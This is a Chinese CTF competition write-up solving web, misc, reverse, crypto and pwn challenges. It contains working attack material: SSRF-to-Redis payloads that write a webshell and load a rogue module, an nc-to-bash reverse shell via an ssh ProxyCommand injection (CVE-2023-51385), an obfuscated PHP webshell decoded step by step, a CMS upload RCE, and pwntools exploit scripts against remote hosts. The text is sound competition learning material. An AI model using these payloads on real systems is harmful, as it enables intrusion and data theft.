2023春秋杯冬季赛WP

放假没事干,之前正好报名了就打了下

web

ezezez_php

<?php

class Rd
{
    public $ending;
    public $cl;
    public $poc;
    public function __construct()
    {
        $this->cl=new Er();
    }
}
class Ha
{
    public $start;
    public $start1;
    public $start2;
    public function __construct(){
        $this->start=array("POC"=>"0.o");
        $this->start2="o.0";
        $this->start1=new Rd();
    }
}

class Poc
{
    public $payload;

    public $fun;
    public function __construct(){
        $this->payload="/etc/passwd";
    }
}

class Er
{
    public $symbol;
    public $Flag;
    public function __construct()
    {
        $this->Flag = base64_encode("dict://127.0.0.1:6379/system.exec:\"env\"");
    }
}
$a=new Ha();
echo serialize($a);
?>

gopher用不了感觉限制了redis命令一次只能执行一条,因此换dict协议

更改rdb文件的目录至网站目录下url=dict://127.0.0.1:6379/config:set:dir:/var/www/html

将rdb文件名dbfilename改为webshell的名字url=dict://127.0.0.1:6379/config:set:dbfilename:webshell.php

写入webshell

url=dict://127.0.0.1:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"

有些时候可能\x需要换成 \ \x进行转义
进行备份

dict://127.0.0.1:6379/save

info查看:


dict://127.0.0.1:6379/info

O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:3:"0.o";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:36:"ZGljdDovLzEyNy4wLjAuMTo2Mzc5L2luZm8=";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}

O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:3:"0.o";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:68:"ZGljdDovLzEyNy4wLjAuMTo2Mzc5L2NvbmZpZzpzZXQ6ZGlyOi92YXIvd3d3L2h0bWw=";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}
O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:3:"0.o";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:76:"ZGljdDovLzEyNy4wLjAuMTo2Mzc5L2NvbmZpZzpzZXQ6ZGJmaWxlbmFtZTp3ZWJzaGVsbC5waHA=";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}
O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:3:"0.o";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:148:"ZGljdDovLzEyNy4wLjAuMTo2Mzc5L3NldDp3ZWJzaGVsbDoiXHgzY1x4M2ZceDcwXHg2OFx4NzBceDIwXHg3MFx4NjhceDcwXHg2OVx4NmVceDY2XHg2Zlx4MjhceDI5XHgzYlx4M2ZceDNlIg==";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}

save

O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:3:"0.o";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:36:"ZGljdDovLzEyNy4wLjAuMTo2Mzc5L3NhdmU=";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}

此时报错了,怀疑/var/www/html目录没有写权限,于是尝试写tmp发现写入成功

只能写/tmp的话,只能尝试主从复制了

vps的命令是python3 redis_rogue_server.py -v -path exp.so -lport 3333 

这些命令一次一次执行

config:set:dir:/tmp
config:set:dbfilename:exp.so
slaveof:ip:3333
module:load:./exp.so
system.exec:"ls /"
没找到flag文件,看环境变量
system.exec:"env"

image.png

工具和过程参考: https://www.freebuf.com/articles/web/293030.html

picup

功能点就是一个注册一个登录,登录之后给session身份可以传文件,对文件内容做了限制,如果被限制了就无法上传文件,上传成功会把文件内容base64编码出来
一开始以为是个php,其实是个python,pic可以读文件,…/双写绕过

?pic=..././..././app/app.py

app.py

import os
import pickle
import base64
import hashlib
from flask import Flask,request,session,render_template,redirect
from Users import Users
from waf import waf

users=Users()

app=Flask(__name__)
app.template_folder="./"
app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()

@app.route('/',methods=['GET','POST'])
@app.route('/index.php',methods=['GET','POST'])
def index():
    if not session or not session.get('username'):
        return redirect("login.php")
    if request.method=="POST" and 'file' in request.files and (filename:=waf(request.files['file'])):
        filepath=os.path.join("./uploads",filename)
        request.files['file'].save(filepath)
        return "File upload success! Path: <a href='pic.php?pic="+filename+"'>"+filepath+"</a>."
    return render_template("index.html")

@app.route('/login.php',methods=['GET','POST'])
def login():
    if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
        if type(username)==str and type(password)==str and users.login(username,password):
            session['username']=username
            return "Login success! <a href='/'>Click here to redirect.</a>"
        else:
            return "Login fail!"
    return render_template("login.html")

@app.route('/register.php',methods=['GET','POST'])
def register():
    if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
        if type(username)==str and type(password)==str and not username.isnumeric() and users.register(username,password):
            return "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users)
        else:
            return "Register fail!"
    return render_template("register.html")

@app.route('/pic.php',methods=['GET','POST'])
def pic():
    if not session or not session.get('username'):
        return redirect("login.php")
    if (pic:=request.args.get('pic')) and os.path.isfile(filepath:="./uploads/"+pic.replace("../","")):
        if session.get('username')=="admin":
            return pickle.load(open(filepath,"rb"))
        else:
            return '''<img src="data:image/png;base64,'''+base64.b64encode(open(filepath,"rb").read()).decode()+'''">'''
    res="<h1>files in ./uploads/</h1><br>"
    for f in os.listdir("./uploads"):
        res+="<a href='pic.php?pic="+f+"'>./uploads/"+f+"</a><br>"
    return res

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

User.py

import hashlib
import os


class Users:
    passwords={}
    def register(self,username,password):
        if username in self.passwords:
            return False
        if len(self.passwords)>=3:
            for u in list(self.passwords.keys()):
                if u!="admin":
                    del self.passwords[u]
        self.passwords[username]=hashlib.md5(password.encode()).hexdigest()
        return True

    def login(self,username,password):
        if username in self.passwords and self.passwords[username]==hashlib.md5(password.encode()).hexdigest():
            return True
        return False

waf.py

import os
from werkzeug.utils import secure_filename

def waf(file):


    content=file.read().lower()
    if len(content)>=70:
        return False

    for b in [b"\n",b"\r",b"\\",b"base",b"builtin",b"code",b"command",b"eval",b"exec",b"flag",b"global",b"os",b"output",b"popen",b"pty",b"repeat",b"run",b"setstate",b"spawn",b"subprocess",b"sys",b"system",b"timeit"]:
        if b in content:
            return False

    file.seek(0)
    return secure_filename(file.filename)

思路就是先获取secret_key来伪造admin身份,然后利用pickle.loads来加载上传的文件
secret_key有16的32次方可能,爆肯定爆不出来,考点是python格式化字符串漏洞: https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html

注册那里构造:

username={users.passwords}&password=111

可以得到admin的密码

然后伪造session

python flask_session_cookie_manager3.py encode -s "cc9cb3b7076c8526f54e757757cff5c5" -t "{'username': 'admin'}"

eyJ1c2VybmFtZSI6ImFkbWluIn0.Za4J6A.9qpiPrEt4eU4782cgiafDL7BQEo

然后就是想着怎么绕过pickle了,由于平时这块学的不是很多,一直在搜怎么绕system关键字,最后没能做出来,看了别的师傅的wp发现可以打SSTI来RCE,上传模板文件然后pickle.dump的payload把恶意函数改成render_templeate即可
原文链接: https://blog.csdn.net/mochu7777777/article/details/135760457

可信计算

grep -r "flag{" /

image.png

misc

modules

看config就能搜到CVE-2023-51385
https://github.com/WLaoDuo/CVE-2023-51385_poc-test?tab=readme-ov-file

https://github.com/vin01/poc-proxycommand-vulnerable

发现只能执行示例文件的命令,尝试写文件到绝对路径不行,猜测过滤了/

curl 37qgx65k.requestrepo.com
可以执行,因此可以通外网

nc可以连上但是没回显,所以设置管道符来连接上

url = ssh://`nc ip 2222|bash|nc ip 3333 `foo.ichunqiu.com/bar

开两个监听一个输入一个输出

谁偷吃了我的外卖

binwalk发现有zip,foremost分离一下
发现里面一堆文件,文件名还有规律还有提示

I can give you a hint: - = /
But there was a takeaway that was partially eaten.

这些文件名的倒数四个字符串都是base64组成的字符串,写脚本把他们提取出来

import zipfile
data= []
filename = zipfile.ZipFile('外卖箱.zip').namelist()
for i in filename:
     try:
         data.append(i[11:-6])
     except:
         pass
respice = data[5:]
with open('information.txt','w') as file:
     file.writelines(str(respice))

写好列表在提取

import zipfile
import ast


with open('information.txt','r') as r:
    a = r.read()[2:-2]
    #print(a)
def custom_sort(element):
    return int(element.split('_')[0])
b= a.split("', '")
#print(b)
result = sorted(b, key=custom_sort)
#print(result)
#print("\n\n\n")
data=''
for i in result:
    data+=i[-4:]
#print(data)
result1=data.replace('-','/')
print(result1)

此时base64解码,保存二进制文件
image.png

观察16进制数据可以发现是zip文件缺少了文件头,手动加上504B03
里面一个小凯的奋斗故事.md和钥匙.png(提示了明文md文件的压缩方式)
archpr明文攻击就行,时间太长直接暂停,然后把解密文件保存下来就能看到里面内容
image.png

image.png
明显需要翻转一下

str="9enruoj_FTC_1ufredn0w_aaaaaaa"  
print(str[::-1])
flag{W1sh_y0u_AaaAaaaaaaaaaaa_w0nderfu1_CTF_journe9}

明文混淆

Github去搜LICENSE.txt观察这种文件都有换行,因此可以把明文设置为12个连续的空格

提取LICENSE.txt:
echo -n "            " > 1.txt

bkcrack -C mingwen.zip -c LICENSE.txt -p 1.txt

发现keys:
7163444a 203b76b0 17de1387

bkcrack -C mingwen.zip -c LICENSE.txt -k 7163444a 203b76b0 17de1387 -d LIENSE.txt

生成新压缩包,新密码设置为good
bkcrack -C mingwen.zip -k 7163444a 203b76b0 17de1387 -U new.zip good

image.png

shell2.php文件:

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0idVNxTHlDandXcFpIaGlLbWZGR1ZUQmFOcllvSXpsZWd4Sk1iUkRVRUFrUWN0bnZzZE9QWGladnVUYWdmY0hiWFloZVdNeUtObEx3U2pvQ25ydEFCeE9RRHNKcGRrUG1JekdFVlJVRnFGSjlmd1hrZWJxYllEYVlHQVd0aWJXeFlSS3BDb1d5cmJsbzBxMnN0bzI5UGJaQkdObExHUnlRNEF0T2dzUFNlc2E5THBkc0VEeVJwVVhzZU5kVjRScDVyUjNtNHNkUkZJR0hPSTJ0bmJQdGxTS3oybEdIYkFHSE53Z3k1TlBiTk5QejROV0M1TnJMMElXU2RtcGQ5RlpJSGVaUDdua0MvRkI9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
?>

慢慢解吧

<?php

$O00OO0 = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
echo $O00OO0."\n";
$O00O0O = $O00OO0{3} . $O00OO0{6} . $O00OO0{33} . $O00OO0{30};
$O0OO00 = $O00OO0{33} . $O00OO0{10} . $O00OO0{24} . $O00OO0{10} . $O00OO0{24};
$OO0O00 = $O0OO00{0} . $O00OO0{18} . $O00OO0{3} . $O0OO00{0} . $O0OO00{1} . $O00OO0{24};
$OO0000 = $O00OO0{7} . $O00OO0{13};
$O00O0O .= $O00OO0{22} . $O00OO0{36} . $O00OO0{29} . $O00OO0{26} . $O00OO0{30} . $O00OO0{32} . $O00OO0{35} . $O00OO0{26} . $O00OO0{30};
echo $O00O0O."\n";
eval($O00O0O("JE8wTzAwMD0idVNxTHlDandXcFpIaGlLbWZGR1ZUQmFOcllvSXpsZWd4Sk1iUkRVRUFrUWN0bnZzZE9QWGladnVUYWdmY0hiWFloZVdNeUtObEx3U2pvQ25ydEFCeE9RRHNKcGRrUG1JekdFVlJVRnFGSjlmd1hrZWJxYllEYVlHQVd0aWJXeFlSS3BDb1d5cmJsbzBxMnN0bzI5UGJaQkdObExHUnlRNEF0T2dzUFNlc2E5THBkc0VEeVJwVVhzZU5kVjRScDVyUjNtNHNkUkZJR0hPSTJ0bmJQdGxTS3oybEdIYkFHSE53Z3k1TlBiTk5QejROV0M1TnJMMElXU2RtcGQ5RlpJSGVaUDdua0MvRkI9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
echo base64_decode("JE8wTzAwMD0idVNxTHlDandXcFpIaGlLbWZGR1ZUQmFOcllvSXpsZWd4Sk1iUkRVRUFrUWN0bnZzZE9QWGladnVUYWdmY0hiWFloZVdNeUtObEx3U2pvQ25ydEFCeE9RRHNKcGRrUG1JekdFVlJVRnFGSjlmd1hrZWJxYllEYVlHQVd0aWJXeFlSS3BDb1d5cmJsbzBxMnN0bzI5UGJaQkdObExHUnlRNEF0T2dzUFNlc2E5THBkc0VEeVJwVVhzZU5kVjRScDVyUjNtNHNkUkZJR0hPSTJ0bmJQdGxTS3oybEdIYkFHSE53Z3k1TlBiTk5QejROV0M1TnJMMElXU2RtcGQ5RlpJSGVaUDdua0MvRkI9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs=")."\n";
/*$O0O000="uSqLyCjwWpZHhiKmfFGVTBaNrYoIzlegxJMbRDUEAkQctnvsdOPXiZvuTagfcHbXYheWMyKNlLwSjoCnrtABxOQDsJpdkPmIzGEVRUFqFJ9fwXkebqbYDaYGAWtibWxYRKpCoWyrblo0q2sto29PbZBGNlLGRyQ4AtOgsPSesa9LpdsEDyRpUXseNdV4Rp5rR3m4sdRFIGHOI2tnbPtlSKz2lGHbAGHNwgy5NPbNNPz4NWC5NrL0IWSdmpd9FZIHeZP7nkC/FB==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
*/
$O0O000="uSqLyCjwWpZHhiKmfFGVTBaNrYoIzlegxJMbRDUEAkQctnvsdOPXiZvuTagfcHbXYheWMyKNlLwSjoCnrtABxOQDsJpdkPmIzGEVRUFqFJ9fwXkebqbYDaYGAWtibWxYRKpCoWyrblo0q2sto29PbZBGNlLGRyQ4AtOgsPSesa9LpdsEDyRpUXseNdV4Rp5rR3m4sdRFIGHOI2tnbPtlSKz2lGHbAGHNwgy5NPbNNPz4NWC5NrL0IWSdmpd9FZIHeZP7nkC/FB==";
echo '?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)));

最后:

<?php  
eval(gzinflate(base64_decode('U0gtS8zRcFCJD/APDolWT8tJTK8uNswt8DGOrzIsiHfIS4kvNzYzzUj1yVFUVKxVj9W0trcDAA==')));  
echo gzinflate(base64_decode('U0gtS8zRcFCJD/APDolWT8tJTK8uNswt8DGOrzIsiHfIS4kvNzYzzUj1yVFUVKxVj9W0trcDAA=='));  
  
?>

image.png

flag{s1mpL3_z1p_@nd_w365heLl!!!}

re

upx2023

upx脱壳,使用标准的upx进行脱壳,脱不了,魔改了

这里是取消了特征

把前面处的upx改成UPX即可
![[Untitled 12.png]]

手动脱壳找到了主逻辑
![[Untitled 1 1.png]]
v7是rand值

rand值很怪,每次调试的出来的值都不一样

前面的操作是将我们的flag的顺序打乱

打个表即可字母加数字刚好35,加上flag{},刚好42个

整体的逻辑就是将我们的flag顺序打乱,然后将我们的flag进行异或v7

可以确定五个位置的数据,爆破种子,这里需要根据它的时间戳来缩小爆破范围,在程序修改一年内进行爆破

#include <stdio.h>
#include <time.h>

int main()
{

     unsigned char data[42] = {
         0x00000009, 0x00000063, 0x000000D9, 0x000000F6, 0x00000058, 0x000000DD, 0x0000003F, 0x0000004C,
         0x0000000F, 0x0000000B, 0x00000098, 0x000000C6, 0x00000065, 0x00000021, 0x00000041, 0x000000ED,
         0x000000C4, 0x0000000B, 0x0000003A, 0x0000007B, 0x000000E5, 0x00000075, 0x0000005D, 0x000000A9,
         0x00000031, 0x00000041, 0x000000D7, 0x00000052, 0x0000006C, 0x0000000A, 0x000000FA, 0x000000FD,
         0x000000FA, 0x00000084, 0x000000DB, 0x00000089, 0x000000CD, 0x0000007E, 0x00000027, 0x00000085,
         0x00000013, 0x00000008};
     unsigned char arr[10];
     arr[0] = data[0] ^ 'f';
     arr[1] = data[1] ^ '{';
     arr[2] = data[11] ^ 'l';
     arr[3] = data[12] ^ 'g';
     arr[4] = data[31] ^ '}';
     arr[5] = data[32] ^ 'a';

      int rand_arr[40];
     // for (int i = 0; i < 6; i++)
     // {
     //      printf("%d %d %d %d %d %d\n", arr[0] , arr[1] , arr[2] , arr[3] , arr[4] , arr[5] );
     // }
      for (int seed = 1682145100; seed < 1682145119; seed++)
      {
           srand(seed);
           printf("now seed: %d\n", seed);

           for (int i = 0; i < 34; i++)
           {
                rand_arr[i] = rand() % 255;
           }
           if (rand_arr[0] == arr[0] && rand_arr[1] == arr[1] && rand_arr[11] == arr[2] && rand_arr[12] == arr[3] && rand_arr[31] == arr[4] && rand_arr[32] == arr[5])
           {
                printf("Seed found: %d\n", seed);
                break;
           }
     }

     return 0;
}

爆出种子为1682145110

解出我们混淆后的字符 f{52bgb-281lg00ff-46f7-ca009c8e}a381-b7191

我们还原前面的字符混淆的加密

#include <stdio.h>

int main()
{
      //  unsigned int flag[42] = {
      //     0x00000009, 0x00000063, 0x000000D9, 0x000000F6, 0x00000058, 0x000000DD, 0x0000003F, 0x0000004C,
      //     0x0000000F, 0x0000000B, 0x00000098, 0x000000C6, 0x00000065, 0x00000021, 0x00000041, 0x000000ED,
      //     0x000000C4, 0x0000000B, 0x0000003A, 0x0000007B, 0x000000E5, 0x00000075, 0x0000005D, 0x000000A9,
      //     0x00000031, 0x00000041, 0x000000D7, 0x00000052, 0x0000006C, 0x0000000A, 0x000000FA, 0x000000FD,
      //     0x000000FA, 0x00000084, 0x000000DB, 0x00000089, 0x000000CD, 0x0000007E, 0x00000027, 0x00000085,
      //     0x00000013, 0x00000008
      // };

      //  char arr2[] = "f{lag{";
      //  for (int i = 0; i < 5; i++)
      //  {
      //    flag[i] = (flag[i] ^ arr2[i]);
      //   }
      //       for (int i = 0; i < 5; i++)
      //       {
      //         printf("%d, ",flag[i]);
      //       }
      char a2[45] = "flag{0305ff2-4b6fg7-bca-0029c88e1}";
          int v18 = 0;
      int k = 0;
      int v17 = 0;
      int temp;
      int v9[128];
      int flag[45];
      for (int i = 0; i < 128; i++)
      {
            v9[i] = 10;
      }
      
      for (k = 0; k < 42; ++k)
      {
            if (!v18 || 2 == v18)
                  v17 ^= 1u;
            temp = a2[k];
            v9 [k + 42 * v18]  = temp;
            if (v17)
                  ++v18;
            else
                  --v18;
      }
      int x = 0;
      for (int i = 0; i < 128; i++)
      {
            if(v9[i] != 10)
            {
                  flag[x] = v9[i];
                  x++;
            }
      }
      
      for (int i = 0; i < 42; i++)
      {
            printf("%c", flag[i]);
      }
      return 0;
}

搓一个逆向脚本

#include <stdio.h>

int main()
{

    int arr[45] = {0, 4, 8, 12, 16, 20, 24, 28, 32, 36, 40, 1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31, 33, 35, 37, 39, 41, 2, 6, 10, 14, 18, 22, 26, 30, 34, 38};
    char flag[45] ;
    char data[45] = "f{52bgb-281lg00ff-46f7-ca009c8e}a381-b7191";

        char flag2[45];
    for (int i = 0; i < 42; i++)
    {
        flag2[arr[i]] = data[i];
    }

    for (int i = 0; i < 42; i++)
    {
        printf("%c", flag2[i]);
    }

    return 0;
}
flag{0305f8f2-14b6-fg7b-bc7a-010299c881e1}

crypto

CF is Crypto Faker

给了很多自定义函数,看了就最后的有用,正常的RSA解密,用c1,c2解出m,f

y_hat_cipher1 =0x29289e3d9275147b885b5061637564cbee3e4d9f48e52694e594f020e49da9b24d9246b2437fb2221fa86ca1a277f3fdd7ab5cad4738a02b66d47703ef816844a84c6c209c8251e8961c9ba2c791649e022627f86932d9700c3b1dc086e8b2747d0a5604955387a935464d3866dd4100b2f3d57603c728761d1d8ef7fdbdcbee
y_hat_cipher2 =0x2b0059f88454e0e36269c809b5d5b6b28e5bab3c87b20f9e55635239331100a0a582241e7a385034698b61ebf24b519e868617ff67974cc907cc61be38755737f9a6dbeb7890ff55550b1af1ecf635112fcaaa8b07a3972b3c6728cbcf2a3973a4d7bd92affec7e065e0ae83cd36858e6d983785a3668a8b82709d78a69796af
n = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709b3d2698476b6dd203811b6a2ec6a6e2a7e213ab719bcd3ab49bb864b10e9c78ea3f501c0e2213dfe431043bb6f0cc2e8d77bfb43869b843af1a99ae81b87811e101
r = 0x4f37fe985d13ffde9867fa0063f68dea79196408b1404eadf03ea59297d629c2183a4a6a6647b6c4c99dd43bae8c4fa4691a608d20170fd42b18aef7efb3ae01cd3
phi = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709648d78eb17edb46dda768a97d57e6bd1c48657393b7c0d9c574c38cc0a3545ce7d209ade33b8ac6b31a41fe9f4ed62b4ddd7b99859b74915f2031dd2f5f0499a2f8
e = 0x2ebad696da6dda845bf03fdf34ee73d4849800de9267a5baa3c068e2d33a74727d00002fbfea775e5233087a9039d267130aa924a4f7fed3576f6ff7b8e1b2e8
trained_e = 0x2c22193ad9abcca2f67552fc76dd07b3ef883f3d755c95119cdf82bb6a07c970fd37e582bb49250d8efaa29b8a59c82059165c654206a9d7261f6b45a90dc69
trained_phi = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709b3bb712fdcba325655f111918472d4353a66854ccda50b63a1047278c15a4b39cde898d054db87092958c7c05f8fa566dcd969b1ff4b7d1935c375a4af3bfc341b0
d = gmpy2.invert(trained_e,trained_phi)
m = pow(y_hat_cipher1,d,n)
f = pow(y_hat_cipher2,d,n)
flag = b"flag{" + long_to_bytes(m) + long_to_bytes(f) + b".}"
print(flag)

not_wiener

参考:

  1. https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage
  2. https://github.com/maple3142/My-CTF-Challenges/tree/bc55a95a48472e66c0f6d9f2084cd2675e9f55b2/AIS3%20Pre-exam%202023/Not%20Wiener
    image.png
    image.png
from Crypto.Util.number import *
import gmpy2
n = 98871082998654651904594468693622517613869880791884929588100914778964766348914919202255397776583412976785216592924335179128220634848871563960167726280836726035489482233158897362166942091133366827965811201438682117312550600943385153640907629347663140487841016782054145413246763816202055243693289693996466579973
e = 76794907644383980853714814867502708655721653834095293468287239735547303515225813724998992623067007382800348003887194379223500764768679311862929538017193078946067634221782978912767213553254272722105803768005680182504500278005295062173004098796746439445343896868825218704046110925243884449608326413259156482881
c = 13847199761503953970544410090850216804358289955503229676987212195445226107828814170983735135692611175621170777484117542057117607579344112008580933900051471041224296342157618857321522682033260246480258856376097987259016643294843196752685340912823459403703609796624411954082410762846356541101561523204985391564
p = 161310487790785086482919800040790794252181955976860261806376528825054571226885460699399582301663712128659872558133023114896223014064381772944582265101778076462675402208451386747128794418362648706087358197370036248544508513485401475977401111270352593919906650855268709958151310928767086591887892397722958234379
q= 1115861146902610160756777713087325311747309309771
g= 61073566757714587321114447684333928353300944355112378054603585955730395524359123615359185275743626350773632555967063692889668342544616165017003197599818881844811647270423070958521148291118914198811187731689123176313367399492561288350530256722898205674043032421874788802819858438796795768177550638273020791962
y= 23678147495254433946472657196764372220306841739888385605070426528738230369489739339976134564575544246606937803367113623097260181789372915552172469427842482448570540429192377881186772226796452797182435452490307834205012154495575570994963829345053331967442452842152258650027916313982835119514473311305158299360
(h1, r1, s1) = 535874494834828755542711401117152397489711233142, 117859946800380767356190121030392492081340616512, 26966646740134065096660259687229179143947213779
(h2, r2, s2) = 236574518096866758760287021848258048065293279716, 863199000523521111517835459866422731857447792677, 517924607931342012033031470185302567344725962419
b= 17474742587088593627
d = 1493519932573300884636712093929290985070801830526216141153447882450934993737739146621

a = pow(c,d,n)
print(a)
a = 24601959430759983424400804734518943158892550216065342062971649989571838687333

print(n//e)

from Crypto.Util.number import *
(h1, r1, s1) = 535874494834828755542711401117152397489711233142, 117859946800380767356190121030392492081340616512, 26966646740134065096660259687229179143947213779
(h2, r2, s2) = 236574518096866758760287021848258048065293279716, 863199000523521111517835459866422731857447792677, 517924607931342012033031470185302567344725962419
a = 24601959430759983424400804734518943158892550216065342062971649989571838687333
b = 17474742587088593627
q = 1115861146902610160756777713087325311747309309771
# 创建矩阵
jz = Matrix(Zmod(q), [[s1, -r1], [a * s2, -r2]])
you = vector(Zmod(q), [h1, h2 - b * s2])
f = jz.solve_right(you)
print(long_to_bytes(int(f[1])))
flag{l1near_k1s_unsafe}

挑战题

ezdede

微信公众号发消息给提示
admin/admin@123登录后台/dede,提示了5.7.112的后台rce
搜一下可以找到利用文章:
https://xz.aliyun.com/t/12719
照着文章来上传文件就是了,发现对文件名和文件内容做了恶意代码检测,应该做了黑名单,先随便传个echo hello测试一下php代码能否执行:
发现上传的文件位置与文章不一样,是/a/1.php,而不是/uploads/a/1.php
image.png

接下来尝试写php代码读文件,内容不包含eval恶意关键字即可

<?php
echo file_get_contents('/flag');

image.png
image.png

pwn

nmanager

随机数用ctypes可以很简单的绕过

在modify里面,当idx为8时,我们可以覆盖到返回地址,直接利用两次,第一次leak出libc,第二次改返回地址为one gadget即可

from pwn import *
from ctypes import*
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'sp', '-h']
local = 0
elf = ELF('./nmanager')
if local:
    p = process('./nmanager')
    libc = ELF('./libc.so.6')
else:
    p = remote('8.147.135.190',28122)
    libc = ELF('./libc.so.6')

sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
ia = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))

def lg(s):
    success("%s >> 0x%x" % (s, eval(s)))
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=False):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
        pause()
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
        pause()
        
def modify(index,a1,a2,a3):
    sla("## select the idx you want modify ##",str(index))
    sa("gender: ",a1)
    sla("age: ",a2)
    sa("name: ",a3)

bss = 0x404080
lib = cdll.LoadLibrary("./libc.so.6")
lib.srand(lib.time(0))
characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
pss = "".join(characters[lib.rand() % 62])

sla("input password: ",pss)

sla("## select the idx you want modify ##",str(8))
sa("gender: ","a")
sla("age: ",str(1))
sa("name: ","a")
ru("a")

libc_base = uu64(ru(b'\x7f')[-6:]) - 0x29d90
lg("libc_base")

oggs = [0xebcf1,0xebcf5,0xebcf8]
ogg = libc_base + oggs[0]
lg("ogg")

sla("quit now?(Y/y)","N")

sla("## select the idx you want modify ##",str(8))
sa("gender: ",p64(bss+0x500)+p64(ogg))
sla("age: ",str(1))
sa("name: ","a")

sla("quit now?(Y/y)","Y")

ia()

book

利用第一个tcache来leak heap地址,然后利用unsorted bin来leak出libc,最后uaf打house of cat即可

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'sp', '-h']
local = 0
elf = ELF('./pwn')
if local:
    p = process('./pwn')
    libc = ELF('./libc.so.6')
else:
    p = remote('39.106.48.123',14994)
    libc = ELF('./libc.so.6')

sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
